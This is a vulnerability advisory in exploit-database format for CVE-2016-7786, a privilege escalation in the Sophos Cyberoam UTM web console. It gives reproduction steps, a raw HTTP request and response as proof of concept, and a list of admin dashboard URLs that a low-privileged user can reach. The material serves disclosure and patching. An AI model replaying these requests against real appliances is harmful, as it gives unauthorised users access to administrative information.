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3 KiB
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# Exploit Title: Sophos Cyberoam UTM - Privilege Escalation
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# Date: 31/08/2016
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# Exploit Author: Chintan Gurjar (Frogy)
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# Vendor Homepage: http://www.sophos.com/
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# Software Link: https://www.cyberoam.com/downloads/datasheet/CR25iNG.html
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# Version: Cyberoam CR25iNG - 10.6.3 MR-5
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# CVE : CVE-2016-7786
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# Category : Webapps
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# CVSS Score: 9.3
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Description
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===========
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A vulnerability, which was classified as critical, has been found in Sophos Cyberoam UTM CR25iNG 10.6.3 MR-5. This issue affects an unknown function of the file Licenseinformation.jsp of the component Access Restriction. The manipulation with an unknown input leads to a privilege escalation vulnerability. Using CWE to declare the problem leads to CWE-264. Impacted are confidentiality, integrity, and availability.
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The weakness was released 04/07/2017. The advisory is shared for download at infosecninja.blogspot.in. The identification of this vulnerability is CVE-2016-7786 since 09/09/2016. The attack may be initiated remotely. The successful exploitation needs a single authentication. Technical details of the vulnerability are known.
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Upgrading to version 10.6.5 eliminates this vulnerability.
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Steps to reproduce
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===================
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1. Login with admin user account.
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2. Navigate to the dashboard and observe all GET URLs through burp proxy. Save URLs.
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3. Logout and login with a low privileged user account who does not have even read/write/execution permission.
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4. Access saved admin functionality URLs with a low privileged user account.
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5. Access the admin information from the user account.
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Video Demonstration
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====================
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https://www.youtube.com/watch?v=unV3-DdIxXw&t=2s
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PoC
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===============
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Request:
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GET /corporate/webpages/dashboard/LicenseInformation.jsp HTTP/1.1
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Host: 192.168.1.1
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
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Accept: text/plain, */*; q=0.01
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Accept-Language: en-US,en;1=0.5
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Accept-Encoding: gzip, deflate
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X-Requested-With: XMLHttpRequest
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Referer: http://192.168.1.1/corporate/webpages/index.php
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Cookie: JSESSIONID=120g9lzj467ivba7uvbf9ej73
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Connection: close
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Response:
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HTTP/1.1 200 OK
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Date: Wed, 31 Aug 2016 06:59:56 GMT
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X-Frame-Options: SAMEORIGIN
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Content-Type: text/html;charset=UTF-8
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Cache-Control: max-age=2592000
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Expires: Fri, 30 Sep 2016 06:59:56 GMT
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Vary: Accept-Encoding
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Content-Length: 1828
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Connection: Close
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...
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<table width="100%" cellpading="1" cellspacing="1">
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<tr>
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<td class="tableheader_gadget" align="center"><label
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id='Language.Time'></label></td>
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<td class="tableheader_gadget" align="center"><label
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id='Language.User'></label></td>
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...
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Affected URLs
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===============
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http://192.168.1.1/corporate/webpages/dashboard/ApplianceInformation.jsp
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http://192.168.1.1/corporate/webpages/dashboard/IPSRecentAlerts.jsp
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http://192.168.1.1/corporate/webpages/dashboard/HTTPVirusDetected.jsp
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...Many others...
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References
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===============
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https://infosecninja.blogspot.co.nz/2017/04/cve-2016-7786-sophos-cyberoam-utm.html
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https://vuldb.com/?id.99371
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https://www.cvedetails.com/cve/CVE-2016-7786/
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https://nvd.nist.gov/vuln/detail/CVE-2016-7786 |